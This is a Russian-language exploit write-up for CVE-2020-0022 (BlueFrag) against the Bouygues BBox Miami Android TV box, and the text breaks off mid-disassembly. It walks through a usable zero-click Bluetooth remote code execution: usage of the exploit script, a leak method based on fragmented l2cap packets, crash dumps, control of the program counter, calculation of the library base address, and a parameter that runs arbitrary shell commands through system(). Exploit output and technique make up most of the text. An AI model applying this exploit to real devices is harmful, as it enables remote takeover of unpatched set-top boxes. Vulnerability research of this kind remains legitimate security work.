
Эксплуатация уязвимости CVE-2020-0022 на Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
CVE-2020-0022 эксплуатация уязвимости на Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Автор: Polo35 - 24.08.2020
########################################################################################
"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Основано на скриптах Яна Руге (Jan Ruge) CVE-2020-0022 - Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
ВВЕДЕНИЕ И СОВЕТЫ
########################################################################################
Скрипт использует bluetooth модуль Python для получения дескриптора ACL-соединения. Поэтому необходимо установить библиотеки bluetooth и pybluez (версию 0.22 для python2 и последнюю версию для python3).
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
В скрипт можно передать команду оболочки в качестве параметра, которая будет выполнена с помощью функции system демоном bluetooth. Для команды оболочки доступно только 104 символа, так как ROP-цепочка занимает первые 20 байт второго payload'а.
Пример: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
Скрипт может использовать adb для проверки соединения, просмотра logcat и перезагрузки целевого устройства при необходимости. Для этого необходимо передать IP-адрес цели в качестве параметра. Убедитесь, что подключились к цели с помощью adb connect и открыли оболочку для проверки соединения перед использованием скрипта.
Наилучшие результаты достигаются при подключении к цели через Bluetooth со смартфона, когда скрипт это предлагает ;) Может потребоваться более 30 попыток для успешного срабатывания эксплойта, но иногда он срабатывает с первой попытки.
########################################################################################
УТЕЧКА ПАМЯТИ НА ARM32
########################################################################################
Bouygues BBox Miami основан на процессоре ARM 32-бит Cortex A9. Отличие от ARM64 в том, что функция libc memcpy не вызывает underflow, поэтому получить такие же утечки, как у Яна Руге, невозможно. Но уязвимость присутствует и может быть эксплуатирована другим способом.
Отправляя l2cap-пакет с фрагментацией по 4 байта, можно вызвать memcpy нулевой длины в reassemble_and_dispatch. Это позволяет получить 4 байта неинициализированных данных в конце echo.
Увеличение длины первого пакета (далее называемой mem_offset) позволяет «пройтись» по неинициализированной памяти. Получение 32 эхо-ответов с одинаковым mem_offset даёт от 2 до 8 пригодных для эксплуатации эхо-ответов. Эхо-ответы повторяются, поэтому нет необходимости получать более 32 эхо-ответов при одном mem_offset. Этот метод также засоряет память пакетами, поэтому легко распознать шаблоны и найти смещения в утечках.
Значение mem_offset – это длина l2cap-пакета в символах. Пример: mem_offset 184 = l2cap-пакет длиной 184 символа = l2cap-пакет длиной 368 байт.
Пример «хождения» по памяти и неинициализированных данных с повторениями:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
Мы видим при mem_offset 180 и 184 некоторые адреса памяти в little endian:
a4ce80a3 → адрес 0xa380cea4 24d280a3 → адрес 0xa380d224 a4d580a3 → адрес 0xa380d5a4 9cce80a3 → адрес 0xa380ce9c 1cd280a3 → адрес 0xa380d21c 9cd580a3 → адрес 0xa380d59c
Существует как минимум 4 или 5 значений mem_offset, при которых почти после каждой перезагрузки можно найти реальные адреса памяти. Позже мы увидим, как их можно использовать.
########################################################################################
АНАЛИЗ ПЕРВОГО СБОЯ
########################################################################################
Отправляя l2cap-пакет с фрагментацией по 2 байта, можно вызвать memcpy длины -2 в reassemble_and_dispatch. Это позволяет переполнить за пределы частичного пакета 30 байтами контролируемых данных из второго пакета. Поскольку копируется 30 байт, нет необходимости отправлять пакеты размером более 32 байт с последними 4 нулевыми байтами.
Этот метод переполнения иногда вызывает сбой демона bluetooth с контролируемым регистром R0 в _Z11list_appendP6list_tPv+65:
HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
Дизассемблирование по адресу 001298e2 даёт:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Загрузка R0 из R4+0x10 .text:0x1298E2 LDR R1, [R0] => Загрузка R1 из R0 => Сбой, если не контролируется! .text:0x1298E4 MOVS R0, #8 => Установка 8 в R0 .text:0x1298E6 BLX R1 => Переход со связью и обменом на R1 => Переход на контролируемый R1
Декомпиляция показывает, что мы перезаписываем память по адресу R4+0x10, который является аллокатором в вызове «node = list->allocator->alloc(8)»:
signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / СБОЙ !!! ... node->data = data_ptr; // r5 ... }
Демон аварийно завершился на LDR R1, [R0] с регистром R0 = dead0003 при попытке загрузить адрес. Мы можем контролировать R0 с помощью первого payload + 0xC, поэтому если поместить туда действительный адрес, мы сможем контролировать R1 с помощью LDR R1, [R0], а затем управлять PC с помощью BLX R1.
########################################################################################
УПРАВЛЕНИЕ СЧЁТЧИКОМ КОМАНД ПОСРЕДСТВОМ ПЕРЕПОЛНЕНИЯ УТЕКШЕГО АДРЕСА
########################################################################################
Используя метод переполнения с первым адресом памяти, найденным при mem_offset 180, можно перевести сбой на переход к контролируемому регистру R1.
HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer...
HCI: Found link transmit data buffer queue at 0xa458dbc4
HCI: Getting bluetooth library function pointers...
HCI: Found SetDataAdvDataSender function at 0x8a4a3b29
HCI: Found bluetooth library base address at 0x8a3ce000
Building the payloads...
First payload:
0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4
0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006
Second payload:
0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a
0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e
0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012
0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016
0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a
0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e
0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022
0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026
0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a
0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e
0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032
0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034
Prepare to connect to the target via bluetooth with your smartphone
HCI: Spraying second payload at 0xa458dbc4
Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3)
ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!!
07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue)
07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0'
07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm'
07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<<
07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032
07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001
07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030
07-20 09:28:01.228 21061 21061 F DEBUG :
07-20 09:28:01.228 21061 21061 F DEBUG : backtrace:
07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032
07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70)
07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78)
07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440)
07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42)
07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
То же дизассемблирование по адресу 001298e7 даёт:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Загрузка R0 из R4+0x10 .text:0x1298E2 LDR R1, [R0] => Загрузка R1 из R0 => Сбой, если не контролируется .text:0x1298E4 MOVS R0, #8 => Установка 8 в R0 .text:0x1298E6 BLX R1 => Переход со связью и обменом на R1 => Переход на контролируемый R1 !!! .text:0x1298E8 MOV R1, R0
Теперь демон аварийно завершается на BLX R1 с регистром R1 = dead0033. Это шаблон, отправленный в фрагментированных пакетах при получении утечек при mem_offset 184. Это будет второй payload с известным адресом на смещении - 0xb0 от первого адреса памяти, найденного при mem_offset 180.
Теперь мы можем управлять PC библиотеки bluetooth.marvellberlin.so, имея второе место в памяти с данными, и мы знаем его адрес.
После сигнала регистры содержат:
########################################################################################
ПОЛУЧЕНИЕ БАЗОВОГО АДРЕСА БИБЛИОТЕКИ BLUETOOTH
########################################################################################
Используя метод утечки при mem_offset 28, мы можем найти некоторые адреса памяти:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.
Мы видим утечки 29546c8f и 292b728f, которые в little-endian дают адреса 0x8f6c5429 и 0x8f722b29.
Используя метод переполнения с этими адресами, демон в bluetooth.marvellberlin.so падает со следующим дампом:
libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
Мы попадаем в секцию .text библиотеки bluetooth.marvellberlin.so по смещению 000d5b3c
.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]
Сбой происходит по адресу 0xd5b3c сразу после начала функции, поэтому найденный адрес является указателем на эту функцию. Эта функция — SetDataAdvDataSender класса BleAdvertisingManagerImpl, используемая как указатель в функции SetData файла btm_ble_multi_adv.cc
void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }
Теперь у нас есть адрес фиксированного места в библиотеке bluetooth.marvellberlin.so, и мы можем вычислить базовый адрес этой библиотеки. Реальное смещение до базового адреса библиотеки равно 0XD5B29 от указателя на функцию SetDataAdvDataSender, найденного по mem_offset 28.
В примере выше мы нашли функцию SetDataAdvDataSender по адресу 0X8C35DB29 и переполнили этот адрес. Базовый адрес библиотеки Bluetooth был 0X8C35DB29 - 0XD5B29 = 0X8C288000.
Также в той же утечке по mem_offset 28 мы нашли указатель на 0x8C300429. Смещение между двумя найденными адресами: 0x8C35DB29 - 0x8C300429 = 0x5D700. Мы знаем, что SetDataAdvDataSender находится по 0xD5B28 в библиотеке Bluetooth, поэтому можем вычислить адрес второго найденного указателя: 0xD5B28 - 0x5D700 = 0x78428. По адресу 0x78428 в библиотеке Bluetooth находится функция bte_hh_evt, которая используется в функциях btif_hh_service_registration и btif_hh_execute_service файла btif_hh.cc.
void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }
bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }
Два найденных адреса по mem_offset 28 всегда заканчиваются на 0xB29 для функции SetDataAdvDataSender и на 0x429 для функции bte_hh_evt. С помощью этого метода нам нужен только один из двух известных адресов в утечке, чтобы найти базовый адрес Bluetooth.
Итак, мы можем найти базовый адрес библиотеки Bluetooth следующим образом:
########################################################################################
АНАЛИЗ СБОЯ С ИСХОДНЫМ КОДОМ ANDROID
########################################################################################
Исходный код Android Oreo 8.1 показывает, что мы перезаписываем часть объекта очереди буфера данных передачи канала p_lcb->link_xmit_data_q.
Функция l2c_rcv_acl_data создаёт объект tL2C_LCB* p_lcb и передаёт его функции l2c_link_check_send_pkts, которая добавляет пакет в очередь буфера link_xmit_data_q.
void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }
tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];
for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }
p_lcb берётся из статического объекта l2cb.lcb_pool[0], как определено в l2c_main.cc.
// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }
void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }
void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }
bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); ⇒ Вызов alloc заменён нашим вызовом (только один параметр !!!) ... }
Определение link_xmit_data_q в структуре tL2C_LCB следующее:
/* Define a link control block. There is one link control block between
Определение структуры list_t:
typedef struct list_t { list_node_t* head; | Размер 0x4 | Смещение 0x0 list_node_t* tail; | Размер 0x4 | Смещение 0x4 size_t length; | Размер 0x4 | Смещение 0x8 list_free_cb free_cb; | Размер 0x4 | Смещение 0xC const allocator_t* allocator; | Размер 0x4 | Смещение 0x10 } list_t; | Размер 0x14
Со структурой list_node_t:
struct list_node_t {
struct list_node_t* next; | Размер 0x4 | Смещение 0x0
void* data; | Размер 0x4 | Смещение 0x4
}; | Размер 0x8
И структурой allocator_t:
typedef struct {
alloc_fn alloc; | Размер 0x4 | Смещение 0x0
free_fn free; | Размер 0x4 | Смещение 0x4
} allocator_t; | Размер 0x8
typedef struct {
uint16_t event; | Размер 0x2 | Смещение 0x0
uint16_t len; | Размер 0x2 | Смещение 0x2
uint16_t offset; | Размер 0x2 | Смещение 0x4
uint16_t layer_specific; | Размер 0x2 | Смещение 0x6
uint8_t data[]; | Размер 0xx | Смещение 0x8
} BT_HDR; | Размер 0x8 + длина данных
Дизассемблирование функции l2c_link_check_send_pkts:
.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 ⇒ Переместить R0 в R4 ⇒ Установить R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C ⇒ Прыжок, если R2 равен нулю ⇒ Прыжок, если BT_HDR* p_buf равен null .text:0x00103112 MOVS R0, #0 ⇒ Переместить 0 в R0 ⇒ .text:0x00103114 CBZ R1, loc_103120 ⇒ Прыжок, если R1 равен нулю ⇒ Прыжок, если tL2C_CCB* p_ccb равен null .text:0x00103116 LDRH R1, [R1,#0x2C] ⇒ Загрузить R1 + 0x2C в R1 ⇒ Загрузить R1 = p_ccb->local_cid .text:0x00103118 MOVS R7, #1 ⇒ Переместить 1 в R7 ⇒ Установить single_write = true .text:0x0010311A B loc_103124 ⇒ Переход к loc_103124 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] ⇒ Сохранить R1 (старшие биты) в R2 ⇒ Установить p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 ⇒ Переместить R2 в R1 ⇒ Установить R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] ⇒ Сохранить R0 в R2 + 0x6 ⇒ Установить p_buf->layer_specific = 